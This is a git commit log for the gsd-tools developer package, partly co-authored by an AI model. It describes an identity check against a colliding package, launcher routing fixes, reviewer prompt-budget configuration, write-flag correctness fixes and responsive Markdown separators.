fb2d122d7f feat(#3841): assert gsd-tools identity on every state-mutating verb (#3848)
* feat(#3841): assert gsd-tools identity before any state-mutating verb

only this package publishes. The path-based branches — a project-local install,
a runtime config directory — had no such guarantee; they trusted their
configured location. This closes them.

Mechanism: once resolution finishes, and before any verb runs, the preamble
probes the tool it picked with `runtime-identity --raw` and matches the answer
with a shell `case` pattern ANCHORED to the start of the compact payload
(`{"packageName":"@opengsd/gsd-core"`). An unanchored substring match accepts
the decoy `{"packageName":"get-shit-done-cc","note":"@opengsd/gsd-core"}`, which
any colliding package could publish. The outcome is exported as the two-valued
`GSD_IDENTITY_STATUS` (`ok`/`unverified`), so the gate is asserted on a VALUE
rather than on warning prose. Rollout is warn-then-fail per the #3146 ruling:
`unverified` prints one line naming BOTH causes and continues, because
`no_identity_verb` cannot tell a foreign package from an `@opengsd/gsd-core`
older than the verb, and at rollout the old-version case is the common one.

The blocker was byte budget, not design. The preamble is inlined into 112
shipped files and several sat within single-digit bytes of frozen ceilings
(`gsd-verifier.md` 16 bytes, `gsd-executor.md` 33, `execute-phase.md` 234); a
first attempt broke five of them. What made room was collapsing the resolver's
twenty near-identical `elif [ -f … ]` arms into one candidate-list helper
(`_gsd_at`), which buys far more than the assertion costs. The preamble is now
2,624 bytes against 4,500 — a net 1,876 bytes SMALLER per inlined file, so every
capped file moved away from its ceiling rather than toward it. No cap raised, no
size-budget exception added, no override token emitted.

Resolution order, every runtime-home probe, the `unset -f gsd_run` re-source
fix, the fail-closed `exit 1`, and the `CLAUDE_ENV_FILE` persistence are all
preserved byte-for-byte in substring terms; the snippet still begins with
`_GSD_SHIM_NAME=` and still ends with `fi`, which the parity extractors anchor
on. `gsd-core/references/gsd-run-resolver.md` is re-synced byte-equal.

Also fixes two stale claims found in passing: CONTEXT.md and FEATURES.md both
described an `[ -x ]` guard as the load-bearing re-source defense. That guard
was tried and REMOVED in #3831 — it rejected the bare function name, fell
through every branch, and hit `exit 1`, which kills a sourced caller's shell.
`unset -f gsd_run` is the actual mechanism.

Refs #3841

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3841): pair the anchor's brace by requiring a closed identity payload

The matrix went red on `tests/new-project-mvp-prompt.test.cjs` — "new-project.md
has unbalanced braces: net depth 2" — plus a knock-on report from its parent
`bug #1516` describe, which is the same failure counted once at the child and
once at the block.

Root cause: that guard (:182-189, mirroring #3784 bd53925f) walks characters and
increments on `{`, decrements on `}`, with no awareness of shell quoting. It
scans `new-project.md` PLUS every `new-project/steps/*.md`, and both
`new-project.md` and `steps/auto-mode-config.md` carry one inlined preamble copy
— hence net 2 from a snippet that was off by exactly one. The unpaired brace was
the `{` inside the single-quoted `case` pattern of the identity anchor, which is
correct shell and invisible to a text scanner.

Fix in the snippet, not the guard. The pattern now anchors at BOTH ends:
`'{"packageName":"@opengsd/gsd-core"'*'}'`. That balances 51/51 with a brace that
does real work rather than a cosmetic pair — a truncated payload whose prefix
matches now fails too, where before it verified. Safe for any future additive
field: a JSON object's own closing brace is always the last character, whatever
type the last value has, which is pinned by two negative-space tests (a nested
object and an array-valued last key must both still verify). Cost: +3 bytes,
against the 1,873 the resolver fold already gave back.

The alternative considered and rejected was dropping the literal `{` for a `?`
glob. It balances too, but weakens the anchor from "must be an opening brace" to
"must be any one character", and the anchor is the entire point.

Two guards added so this cannot recur silently:
- runtime-launcher-parity (F0) pins brace balance at the SNIPPET, so the next
  edit to that pattern fails on the file it broke instead of surfacing three
  files downstream in a test whose name mentions neither the launcher nor this
  issue. It also asserts depth never goes negative, since a `}` preceding its
  `{` nets to zero while being unbalanced at every prefix.
- runtime-identity gains behavioral truncated-payload and trailing-garbage
  fixtures, so the added `}` is proven load-bearing rather than merely present.

Verified: snippet 51/51 braces; new-project combined net depth 0; the seven
other preamble-bearing files with nonzero depth are unchanged from merged next
(their own prose, not the preamble, and not in any guard's scan set); all 112
inlined copies and the resolver reference re-synced byte-equal; sync:launcher
idempotent on the second run.

Refs #3841

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#3841): backfill changeset PR number

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

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Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-25 01:05:53 -04:00
Tom Boucher
63abcface9 feat(#3146): resolve gsd_run so workflows cannot reach a foreign gsd-tools (#3831)
* feat(#3146): resolve gsd_run so workflows cannot reach a foreign gsd-tools

The predecessor package get-shit-done-cc publishes a colliding gsd-tools bin whose phases.clear DELETES where this package's ARCHIVES, and both print success-shaped output against a gitignored .planning/ -- which is how #3129 cost a user 43 phase directories with no error and nothing recoverable from git.

The launcher's PATH branch now resolves gsd_run, published only by this package and self-locating via its own symlink chain to the sibling shim, instead of the colliding gsd-tools. A foreign handler becomes unreachable from PATH, and when no gsd_run is reachable the resolver fails closed rather than falling back -- that fallback was the vulnerability. This is smaller than the branch it replaces, which matters: the preamble is inlined into 113 shipped files and agents/gsd-verifier.md sits 2 bytes under a red-line size cap.

unset -f gsd_run leads the preamble so a re-source is idempotent. Without it, command -v finds the shell function, returns a bare name, and the resolver falls through to an exit 1 that kills a sourced caller's shell.

Adds gsd-tools runtime-identity, a manual diagnostic reporting this runtime's package coordinates over the baked package-identity (#498) and readHostVersion, with a strict total classifier: only a JSON object with an exact packageName verifies, since JSON.parse admits 0/"str"/[]/null/true.

An inlined identity assertion was built and reviewed first, then withdrawn -- it breaks five frozen size ceilings and no assertion fits in 2 bytes.

Closes #3146

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3146): stop sync:launcher relocating a deliberate preamble placement

Pre-existing defect, surfaced by this PR because sync is a no-op unless the snippet content actually changes. transformFile inserts the preamble into the first block that CALLS gsd_run, but gsd-core/workflows/explore.md deliberately places it in a bootstrap-only block that DEFINES gsd_run without calling it -- its own comment explains why: declining the research offer must not leave Step 5's commit call unbootstrapped. Stripping empties that block of calls, so the preamble migrated forward and broke the define-before-use invariant tests/explore-command.test.cjs pins.

Reproduced on a pristine origin/next checkout with the base snippet and base file, so this was not introduced here. The insertion target now honours a block that already carried the preamble, falling back to the first calling block for files that have none yet. Adds a behavioral regression test over a two-block fixture.

Also updates three runtime-launcher-parity tests that pinned the removed PATH fallback to gsd-tools. Their intent is preserved -- the PATH stub is renamed gsd_run so it is reachable by the new resolver, and the RUNTIME_DIR-wins test still asserts the stub is never invoked. Fixture shebangs move to an absolute /bin/sh, because the fixture PATH is deliberately restricted and #!/usr/bin/env sh could not resolve.

Refs #3146

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#3146): backfill changeset PR number

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#3146): document the FEATURES.md section-numbering practice

The monotonically increasing section number in docs/FEATURES.md is the most frequent merge-conflict source in this repo, and it has TWO conflict cells, not one: the ### N. heading and the hand-maintained table of contents. Two PRs adding differently numbered features still collide on the TOC, so renumbering alone does not make a branch safe. This branch alone was renumbered 165 -> 166 -> 167 -> 168 across successive rebases.

Adds a CONTRIBUTING section stating the practice: allocate the number last, never pre-emptively renumber, take max+1 after a rebase and update the TOC in the same commit, and never renumber someone else's section. Fork contributors are told explicitly they may leave the number to a maintainer at merge rather than chasing the counter. Agents are told to lease the allocation and to include the file in their published touched set.

Records the durable fix as planned rather than pretending it exists: FEATURES.md should be generated from per-feature fragments the way CHANGELOG.md is generated from .changeset/, and the way tests/emitted-drift-acks/ works (#2914).

Also renumbers this branch's own section to 168, leaving 167 to the PR already in flight.

Refs #3146

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

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Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-24 20:57:16 -04:00
Tom Boucher
aaf47c5fc2 fix(#3691): let every reviewer lane take a prompt cap, and make the documented global resolve (#3832)
* test(#3691): failing-first coverage for the reviewer prompt budget

No prompt cap can reach any CLI reviewer lane, by any configuration. Two
independent defects compound: all nine `transport: spawn` lanes declare
`promptBudgetKey: null`, so `budgetFor` returns on its first line; and the
documented global `review.max_prompt_tokens` is advertised in the schema
manifest but declared nowhere, so the resolver never materializes it and
`budgetFor`'s fallback is dead code.

Adds to tests/reviewer-config-federation.test.cjs, which already owns the
per-reviewer budget config-set/config-get idiom:

- a CLI lane inherits the global cap (RED: reports null)
- an http lane with the -1 sentinel inherits the global cap (RED: reports null)
- the resolved review surface carries max_prompt_tokens at all (RED: absent)
- per-lane overrides the global on a CLI lane
- the sentinel boundary: -1 inherits, 0 means do-not-trim and must NOT read as
  unset, 1 is the smallest real budget — the regression budgetFor's own comment
  warns about
- anti-tightening pins that must stay green: an empty config leaves every lane
  null, the three existing budgeted lanes are unchanged, and config-set still
  rejects a per-reviewer key naming something that is not a declared lane
- a fast-check property over the resolution contract itself, with -1, 0 and
  non-finite inputs generated explicitly rather than left to chance

Every row was reproduced by hand against the real CLI before being written, so
the RED/GREEN split is observed rather than predicted.

Refs #3691

* fix(#3691): let every reviewer lane take a prompt cap, and make the global resolve

No prompt cap could reach any CLI reviewer lane, by any configuration. Two
independent defects compounded.

The nine spawn-transport lanes — claude, coderabbit, antigravity, cursor,
gemini, codex, kimi-code, opencode, qwen — declared `promptBudgetKey: null`, so
`budgetFor` returned on its first line and `review-lane plan` reported
`promptBudget: null` no matter what was configured. Each now declares
`review.max_prompt_tokens_per_reviewer.<slug>` with the same `-1`-is-unset
sentinel the three local-server lanes already use.

Separately, the central `review.max_prompt_tokens` was listed in the schema
manifest's validKeys and documented as a supported setting, but declared
nowhere — the resolved surface is built from capability declarations plus the
defaults manifest, and neither carried it. `configGet` returned undefined and
`budgetFor`'s documented fallback was dead code. It is now declared with a
`null` default, exactly as docs/CONFIGURATION.md already specified, so the
default behavior is unchanged: nothing configured means nothing trims.

Two things the diagnosis had not predicted, found and fixed while implementing:

- `REVIEWER_LANES` in src/review-lane-descriptor.cts is a second, hardcoded
  registration site that `mergeReviewerLanes` prefers over the capability
  registry on a slug collision. Editing only the capability files left every
  CLI lane still null. Both sites now agree.
- The generated `gsd-core/bin/lib/capability-registry.cjs` was stale and masked
  the capability edits; regenerated with `npm run gen:capability-registry`
  rather than hand-edited.

docs/CONFIGURATION.md said "Only lanes that declare a budget key accept one —
today ollama, lm_studio and llama_cpp". That is false as of this change and is
corrected rather than left to rot.

The trim-versus-refuse question the issue raises is deliberately not taken up
here: the refusal path already exists for the case that matters — a reviewer
whose minimum set exceeds its budget is skipped rather than sent a misleading
prompt — and trimming above that floor is the documented, shipped design of the
feature. Changing it would alter behavior for the three lanes that already
work, which is not what the issue asks for.

Fixes #3691

* fix(#3691): document the new global and narrow an invariant this change obsoleted

The full suite surfaced two consequences of giving every CLI lane a budget key.

`review.max_prompt_tokens` entered CONFIG_DEFAULTS without a matching entry in
the planning-config reference, which config-field-docs guards. Documented,
including the sentinel semantics a reader needs: a per-lane value overrides the
global, `-1` means unset and inherits it, and `0` means "do not trim that lane"
and is not unset.

The #2797 federation guard asserted that "a lane with no model flag and no host
owns no config keys". That held only because budget keys existed solely on the
three local-server lanes, all of which have hosts. A lane can now legitimately
own a config key for a third reason, so qwen tripped it.

The assertion is narrowed rather than weakened: such a lane must still own no
model key and no host key, and may own at most its own
`review.max_prompt_tokens_per_reviewer.<slug>` — never another lane's. That is
strictly more specific in the dimensions that still matter. Proven to still
bite: hypothetically giving qwen a `review.models.qwen` key fails it with
`model/host: review.models.qwen`. The name and comment cite #3691 for why the
premise changed, so a reader sees a deliberate narrowing, not erosion.

Checked the sibling assertions in that describe block; the other three do not
rest on the obsolete premise and are untouched.

Refs #3691

* fix(#3685): port the write-flag content-change contract to its three sibling sites

#3685 fixed `phase complete`'s `roadmap_updated` / `state_updated`, which
reported `fs.existsSync(path)` rather than whether the transaction wrote
anything. Three sibling sites carried the identical defect and are ported here.

- `cmdPhaseRemove` reported `roadmap_updated: true`, hardcoded.
  `updateRoadmapAfterPhaseRemoval` now returns whether the content changed and
  the flag reports it. #2640/#2974 already fixed `state_updated` at this same
  call site and left this one behind, so the correct shape was adjacent.
- `cmdMilestoneComplete` reported `state_updated: fs.existsSync(statePath)` —
  byte-identical to #3685's bug in a different command.
- `cmdMilestoneComplete` reported `milestones_updated: true`, hardcoded, never
  consulting the MILESTONES.md write.

`gsd-core/workflows/remove-phase.md:100` extracts `roadmap_updated` for display
and never branches on it, so the flip from always-true to content-based changes
no workflow behavior. Verified by reading the step, not assumed.

One trap found while implementing: the obvious in-memory
`finalContent !== originalStateContent` comparison — copying `cmdPhaseComplete`'s
shipped shape verbatim — gives a FALSE POSITIVE for milestone completion.
`platformWriteSync` normalizes Markdown at write time, and the milestone-closure
transform regenerates `## Current Position` fresh on every call, so its
pre-normalize output always differs from the already-normalized file on disk
even when the persisted bytes are identical. The comparison is therefore made
against the post-write on-disk content. `cmdPhaseComplete`'s own comparisons are
left untouched — their repeat-no-op tests pass, so they are not exposed to this
artifact.

`milestones_updated` has no reachable no-op: the MILESTONES.md write
unconditionally appends an entry every call. Only the true direction is pinned,
documented inline rather than faked with a passing test.

Refs #3685

* fix(#3685): compare write-flag content through the writer's own normalizer

An independent reviewer disproved a claim made while porting #3685's contract
to its sibling sites: that `cmdPhaseComplete`'s comparisons were not exposed to
the Markdown-normalization artifact already diagnosed in `cmdMilestoneComplete`.

`platformWriteSync` normalizes on write — CRLF stripped, blank-line runs
collapsed, a blank line inserted after a heading, a single trailing newline
enforced. Every flag that compares the PRE-normalization in-memory string
against the on-disk pre-image can therefore report a change when the persisted
bytes are identical. `cmdMilestoneComplete` had been worked around by re-reading
the file after the write; the other sites compared raw strings.

All of them now go through one exported seam,
`contentChangedAfterNormalize(filePath, before, after)`, which normalizes both
sides exactly as the writer does. That removes the extra disk read the milestone
workaround needed, and makes the sites agree by construction rather than by
four independent implementations of one rule — the divergence the repo names as
an anti-pattern.

Reachability, stated precisely rather than uniformly: the seam is load-bearing
at `cmdPhaseComplete`'s `roadmapUpdated`, `requirementsUpdated` and
`stateUpdated`, where section-rewrite logic genuinely regenerates content into a
different-but-normalization-equivalent shape. At
`updateRoadmapAfterPhaseRemoval` it is defense-in-depth: the no-match branch
never reassigns `content`, so the raw comparison was already correct there. The
first analysis claimed the reverse; this is the corrected finding.

Also fixes an unsound test premise the remote suite caught. The byte-identity
precondition in `roadmap_updated is false when ROADMAP.md comes out
byte-identical` asserted against a hand-authored, un-normalized fixture — so the
very first write reformatted it and the file could not come back identical. The
fixture is now written already-normalized, so the assertion compares a
normalized pre-image against a normalized post-image and still fails if the flag
regresses to a hardcoded `true`. Not platform-specific; it reproduces on macOS
too, and the earlier local check simply never exercised it.

The sibling true-direction and milestone tests were checked for the same premise
and do not share it — they assert `notEqual`, or compare two post-write states
produced through the same normalizing seam.

Refs #3685

* chore(changeset): backfill PR number for #3691 fragment

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Co-authored-by: sim <sim@local>
2026-08-24 19:39:51 -04:00
Tom Boucher
c933184b97 enhance(#3172): require a stated failing direction for every automated acceptance command (#3825)
* test(#3172): failing-first suite for the stated failing-direction probe

Pins the <fails_when> pairing walk, placeholder denylist, MISSING sentinel
exemption, degraded-read contract, CLI arm and the plan-authoring contract text.
RED by construction: the module exports it requires do not exist yet.
Executed on the remote runner.

* feat(#3172): require a stated failing direction for every automated acceptance command

Every runnable <automated> command now carries a <fails_when> sibling naming
what output constitutes failure. A command with no expressible failure mode is
not an acceptance test: it reads as rigour and is not falsifiable.

- verify-command-grounding gains a failing-direction probe sharing the existing
  <automated> grammar, MISSING sentinel and walk guard rather than copying them
- gsd-tools check verify-failure-directions <N> backs it; plan-phase dispatches
  it and hands the JSON to gsd-plan-checker check 8f
- Dimension 8 detail extracted to references to stay under the agent size cap

Verified on the remote runner.

* fix(#3172): close four review findings in the failing-direction probe

- MISSING_SENTINEL_RE matched an env-var assignment prefix (MISSING=1 cmd), so
  a real command was exempted from the new blocking gate. Tightened the SHARED
  constant rather than adding a second copy.
- Both token regexes scanned to EOF on unclosed openers (O(n^2), 1562ms at 40k).
  Bodies are now non-crossing; 1ms, byte-identical on well-formed input. The
  pre-existing AUTOMATED_BLOCK_RE carried the same defect and is fixed here too.
- probePhaseFailingDirections reported status 'ok' when one plan was unreadable,
  conflating 'could not look' with 'nothing to report'.
- Extracted the phase-resolution block both check arms had copied verbatim.

Also corrects a docs/AGENTS.md dimension list stale since #2401.
Verified on the remote runner.

* fix(#3172): project the planner rule onto the spawn contract, settle emitted bookkeeping

The remote runner refuted the planner-side edit. agents/gsd-planner.md is frozen
under a 49152-LF-char cap asserted by four suites and sat at 49,146 — six chars
of headroom — so the +537 of authoring rule blew it. #3297/#3645 already settled
where such a rule goes: the planner spawn contract in plan-phase.md, beside
<tracked_source_paths>. The agent file is reverted to origin/next verbatim.

- plan-phase.md gains <failing_direction_contract>; tests row 30 now asserts the
  contract there and row 30b guards the freeze in both directions
- plan-phase.md growth acknowledged by APPENDING to the 3409 fragment, per the
  precedent that two ack sources may never name the same path
- install-tree fixtures regenerated for the three new reference files

Verified on the remote runner.

* chore(#3172): backfill PR number into the changeset fragment

pr:0 -> pr:3825 now that the PR exists.

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Co-authored-by: sim <sim@local>
2026-08-24 19:05:11 -04:00
Tom Boucher
8442d984b9 fix(#3809): route runtime-loaded markdown through the gsd_run launcher (#3815)
* test(#3809): generalize dead-ref guard into a rule table (failing first)

The #2020 guard hardcoded `sdk/(src|dist|handlers)/` — the three dead paths
that had caused that storm. That proved those three paths were gone and said
nothing about the class, so #3809 reproduced the identical Windows find.exe
storm under a different token and the guard could not see it.

Replaces the single regex with a rule table over the same runtime-loaded
markdown surface, adds `commands/` to the scan set (previously uncovered),
and adds rule B: the runtime shim filename must never appear in command
position, because it is not a PATH command and an agent that meets it falls
back to locating the file.

Rule B's matcher is deliberately lenient — the launcher's own resolver
assignment, `node <path>/<shim>` calls, bare paths, and prose that names the
file all stay unflagged, each pinned by a negative-space row.

This commit is expected to FAIL: 50 offenders across 23 files remain in the
tree. The remediation lands next.

Refs #3809

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3809): route every workflow call through the gsd_run launcher

50 places across 23 runtime-loaded workflow, agent, reference, and command
files instructed the agent to run the runtime shim by filename. That filename
is not on PATH under any name -- package.json ships gsd-core, gsd-tools,
gsd_run and gsd-mcp-server -- so the call exited 127, the file-shaped token
sent the agent looking for the file, and on Git Bash for Windows the resulting
`find /` walked the entire drive (7268 CPU-seconds in the report) until
somebody killed it by hand.

CONTEXT.md -> Runtime Launcher Module already makes gsd_run the single entry
point: "Canonical space-safe shell preamble (`gsd_run`) used by every workflow
bash block to invoke the GSD runtime CLI." These sites predate that rule --
they trace to 0e6907050 (docs(#195): migrate workflow markdown off gsd-sdk
query), which swapped one non-PATH token for another.

Two further instances of the same class surfaced during remediation and are
fixed here rather than left for later:

  - references/model-profiles.md prescribed `node <shim> effort sync` with no
    path at all; node resolves a bare filename against cwd, so it fails the
    same way.
  - references/universal-anti-patterns.md rule 25 instructed every agent to
    "use <shim>" when shelling out. That rule did not contain the defect, it
    prescribed it repo-wide.

Five "(or legacy <shim>)" parentheticals left dangling by the substitution are
removed; after the rewrite they offered the non-resolving form as an
alternative.

The guard from the previous commit now passes. Its node-prefix exemption was
tightened to require a path separator, which is what exposed model-profiles.

Fixes #3809

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3809): key the guard on the CLI's whole verb roster, not observed usage

Review found the first cut of rule B repeating the very mistake it exists to
prevent. Its verb set held query, commit and effort -- the verbs that happened
to appear in the tree -- so it could not see `<shim> phase add`,
`<shim> state load`, `<shim> verify ...` or twenty-odd other real single-word
subcommands. A guard that only recognises yesterday's offenders is not a guard.

The set is now the CLI's full advertised roster, unioned from the usage banner
and HOST_COMMAND_ROUTERS (which carries verification, planning, uat, stats,
todo and windows, all absent from the banner).

Widening it immediately caught a live offender the first pass had missed:
references/planning-config.md prescribed `node <shim> worktree set-baseref`
with no path. Fixed here.

Also drops the "a hyphen or a dot means subcommand" heuristic, which was
unsound for prose -- it flagged `built-in` and `v1.2`. Detection now keys
entirely on the roster, testing the first dot-segment so that phase.add and
state.patch still match while prose does not. Both false positives are pinned
as negative-space rows.

Guard verified against the pre-fix tree at origin/next: 52 offenders across 25
files, and 0 after this branch's remediation.

Refs #3809

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3809): derive the verb roster from the router; repair launcher parity

Standards review caught the guard repeating the defect it exists to prevent.
Its verb list was a hand-copied literal -- and worse, transcribed from an
INSTALLED older binary, so it was missing 22 verbs this tree actually ships
(websearch, windows, state-snapshot, context-predicates and the dispatch-*
family among them). gsd-tools.cjs already carries three hand-maintained
rosters whose drift is a named defect pinned by the parity test in
tests/commands.test.cjs; a hand-copied fourth was that same defect wearing a
guard's clothes.

The roster is now derived from HOST_COMMAND_ROUTERS + TOP_LEVEL_USAGE, lazily
and memoised, with `query` supplemented explicitly -- it dispatches through
the routing hub ahead of the host-router table, so it appears in neither
export, yet 45 of the 50 offenders used it. A parity test pins the derivation.

Two regressions this branch introduced, both caught by the remote runner:

  - runtime-launcher-parity: rewriting a comment in gsd-research-synthesizer.md
    put a `gsd_run` token at line 65 while the canonical preamble sits at 158,
    breaking "exactly ONE preamble, before the first gsd_run call". The comment
    is descriptive and needs no command token at all; it now names none.
  - The #2751 guard's PROSE_ALLOWLIST entry for that same line went stale once
    the line stopped carrying a bare mention. Pruned, exactly as that guard's
    own stale-entry test instructs.

Also corrects git-planning-commit.md, where the first pass rewrote only the
trailing "legacy" clause and left the sentence reading backwards.

Note the #2751 guard and this one are complementary, not duplicates: its regex
requires whitespace immediately after `gsd-tools`, so it cannot match the
`.cjs` form, and this one only matches the `.cjs` form.

Refs #3809

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2751): extend the bare-command guard to references/ and commands/

The #2751 guard has only ever scanned agents/ and gsd-core/workflows/. Two
runtime-loaded directories were never in its scan set, and 47 bare
`gsd-tools <verb>` calls had accumulated there unseen -- the same defect that
guard exists to catch, in the rooms it never entered.

  - gsd-core/references/: 37 calls, all rewritten to gsd_run. references are
    fragments inlined into a parent that defines the launcher, which is why 21
    of the 22 files already using gsd_run carry no local preamble.
  - commands/gsd/: 10 operative calls rewritten. The remaining 10 are
    descriptive prose ("resolved inside the workflow via ...") and are
    allowlisted with reasons, bringing PROSE_ALLOWLIST to 15.

commands/ also came under launcher propagation. sync-runtime-launcher.cjs
walked only WORKFLOWS_DIR and AGENTS_DIR, so every preamble under commands/
was a hand-pasted copy nothing propagated and no test checked -- graphify.md
had accumulated five. It now walks COMMANDS_DIR too, which collapses those
five to the canonical one-per-file, and runtime-launcher-parity gains a
(B-commands) arm mirroring (B-agents) exactly so the placement stays honest.

The parity arm keys on shell blocks, so commands/gsd/workstreams.md and
config.md -- which name gsd_run only in inline backtick prose -- are exempt,
as they should be. gsd_run is itself a shipped npm bin, so those inline
instructions resolve from PATH exactly as the gsd-tools form they replace did.

skills/ is deliberately NOT added to either guard's scan set: it is generated
from commands/ and pinned by lint:generated-sync, so guarding the source
guards both, and scanning the mirror would double-report every future
offender. Regenerated here.

Refs #2751, #3809

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* test(#3809): acknowledge the one emitted file this change grows

The emitted-attribution gate failed on the previous sha: gsd-research-synthesizer.md
grew 3 bytes (13847 -> 13850) with no acknowledgment. The substitution SHRANK the
other 19 emitted files, which is why the growth arm was not expected to fire at all.

The 3 bytes are unavoidable. Line 65 is a descriptive comment inside a fenced block;
naming any command there puts a gsd_run token ahead of the file's canonical preamble
at line 158, which runtime-launcher-parity's (B-agents) arm correctly rejects. So the
comment names no command and says where the config is actually loaded instead, which
reads longer than the token it replaced.

Acks only the path the gate reported, per the fragment rules.

Refs #3809

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* revert(#2751): drop the commands/ half — three contracts pin it in place

The remote runner refuted the commands/ extension outright. Reverting it and
keeping the references/ conversion, which passed.

What broke, all of it caused by bringing commands/ under launcher propagation:

  - graphify.md's five per-block preambles are LOAD-BEARING, not accumulated
    drift. tests/graphify-visualization.test.cjs extracts individual Step-3
    shell chains and executes them standalone, so each fenced block needs its
    own definition of gsd_run. Collapsing them to the canonical one-per-file
    produced `bash: gsd_run: command not found`, exit 127, across four tests.
    The "define once per file" contract holds for workflows and agents because
    nothing extracts their blocks in isolation; commands/ is not like that.
  - explore.md broke "the preamble that DEFINES gsd_run must appear before the
    first USE of gsd_run anywhere in the file".
  - tests/gsd-tools-path-refs.test.cjs (#1766) ASSERTS that
    commands/gsd/workstreams.md contains the literal string
    `gsd-tools query workstream.list`. Rewriting it to gsd_run contradicts a
    test that pins the opposite, so the two guards disagree about that file by
    construction.

So commands/ is not a scan-set widening. It needs those contracts reconciled
first, and that is its own change. SCAN_DIRS keeps gsd-core/references/ and
drops commands/, the ten commands/ allowlist entries go with it (back to 5),
and the reasoning is recorded in the guard itself so the next person does not
rediscover it by burning a matrix run.

commands/gsd/import.md keeps its #3809 fix — that one is the .cjs form this
PR exists to remove, and it is untouched by any of the above.

Refs #2751, #3809

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* revert(#3809): restore explore.md's Step 1 preamble placement

Running the launcher sync script processed workflows/ and agents/ too, not
just the commands/ directory the run was aimed at, and it MOVED
gsd-core/workflows/explore.md's preamble from Step 1 down to Step 3.

The script inserts into the first bash block that USES gsd_run. explore.md's
Step 1 block only DEFINES it, and that placement is deliberate -- the file
says so on the line above: "Placed in Step 1 rather than Step 3 so declining
the research offer cannot leave Step 5's commit call unbootstrapped."
tests/explore-command.test.cjs pins it.

explore.md carried no #3809 offender, so reverting it costs this fix nothing.
This was collateral from invoking the sync script at all, not from the
COMMANDS_DIR change, which is why the earlier commands/ revert did not catch it.

Refs #3809

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#3809): backfill PR number into changeset fragments

pr:0 -> pr:3815 for both fragments now that the PR exists.

Refs #3809

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3809): drop the hand-rolled regex escaper CodeQL flagged

CodeQL raised js/incomplete-sanitization (HIGH) on the guard's pattern build:
`SHIM.replace(/\./g, '\\.')` escapes the dot and nothing else, so it does not
escape backslashes. It blocked PR #3815.

The repo already bans this shape -- local/no-adhoc-regex-escape exists exactly
to stop hand-rolled escapers, with the canonical one in src/pattern.cts. Rather
than reach for that helper, the pattern now carries no escaping logic at all:
SHIM is a compile-time constant whose only metacharacter is the dot, so the
regex source is spelled out literally. The generated source string is
byte-identical to what the replace() produced, verified before and after --
0 offenders on this tree, 52 against origin/next, unchanged.

A drift pin asserts SHIM_PATTERN still matches SHIM exactly, and that the dot
is escaped rather than acting as a wildcard, so the two cannot separate.

Refs #3809

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

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Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-24 11:47:37 -04:00
Tom Boucher
cf15682d1c enhance(#3028): responsive Markdown separators instead of fixed-width rules (#3789)
* feat(#3028): responsive Markdown separators instead of fixed-width rules

Stage banners, checkpoints, completion and error panels used fixed-width
runs of box-drawing characters -- a 53-column heavy rule and a 62-column
double-line box. Those runs are ordinary text to a Markdown-rendering
host, so in a narrower pane they wrap and the border comes apart from
the heading it framed.

Shipped content now emits an ATX heading for a titled section and a
blank-line-delimited --- for a break between sections, both of which
adapt to the available width. The same convention is applied to the
three code sites that built these strings at runtime: the UAT
checkpoint renderer, the milestone-close audit report, and the TDD
review checkpoint table.

Removing the box also removes its only reason to exist -- the
east-asian-width padding helpers that kept its right border aligned
(checkpointBoxLine, displayWidth, isWideCodePoint, ZERO_WIDTH_MARK_RE,
CHECKPOINT_BOX_WIDTH). RTL directional isolation is unchanged.

The convention is specified in gsd-core/references/ui-brand.md and
enforced across all shipped content by tests/responsive-separators.test.cjs.

Refs #3028

* test(#3028): pin the heading form in checkpoint and audit-report assertions

These suites asserted the exact box borders and the 62-column padded
banner interior. With the box gone they assert the ### heading form,
the --- break and the bolded instruction line, and each now carries a
positive assertion that no box character remains -- which is what pins
the fix rather than merely tolerating it.

Language coverage is converted, not dropped: Japanese, Chinese, Korean,
Hindi and Arabic all still assert their rendered banner, and the Arabic
case still asserts the RTL directional isolates the box removal must
not disturb. Adds a case for a banner longer than the old inner width,
which previously produced a ragged border and now has none.

Refs #3028

* chore(#3028): acknowledge execute-plan.md growth from the checkpoint display spec

The checkpoint_protocol display spec described the drawn box; it now
describes the heading, the --- break and the bolded action prompt,
which costs 22 bytes (40111 -> 40133, 827 under the cap).

Appended to the existing #3370 fragment rather than filed as a new one:
a growth ack keys on the bare filename and #3370 already declares
execute-plan.md, so a second source naming it would be a hard
duplicate-key error. Same supersede-by-append route #3370 took for the
spent #2652 fragment.

Refs #3028

* docs(#3028): state the load-bearing half of the separator rule, and amend the zh-CN reference

Review found three things.

The rule as first written demanded a blank line above AND below every
---. Only the one above is load-bearing: it is what stops CommonMark
reading the rule as a setext underline for the line above. The one below
is cosmetic, because a thematic break is a leaf block. The rule now says
that, with the reason, instead of asserting a stricter form the content
does not keep.

The zh-CN reference had received the mechanical box-to-heading swap but
none of the prose behind it: it still claimed a 62-character checkpoint
width and still listed --- among forbidden mixed banner styles, so it
contradicted the convention it was translating. It now carries the
separator section, the setext reasoning, the unconditional-vs-per-runtime
rationale and a corrected anti-pattern list, in Chinese.

The user guide asserted that a heading is not a degradation anywhere.
That is an assertion, not a demonstration. It now says what was actually
traded away in a plain terminal, points at the recorded rationale, and
invites the report that would justify the capability flag instead.

Refs #3028

* chore(#3028): backfill changeset PR number

Refs #3028

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Co-authored-by: sim <sim@local>
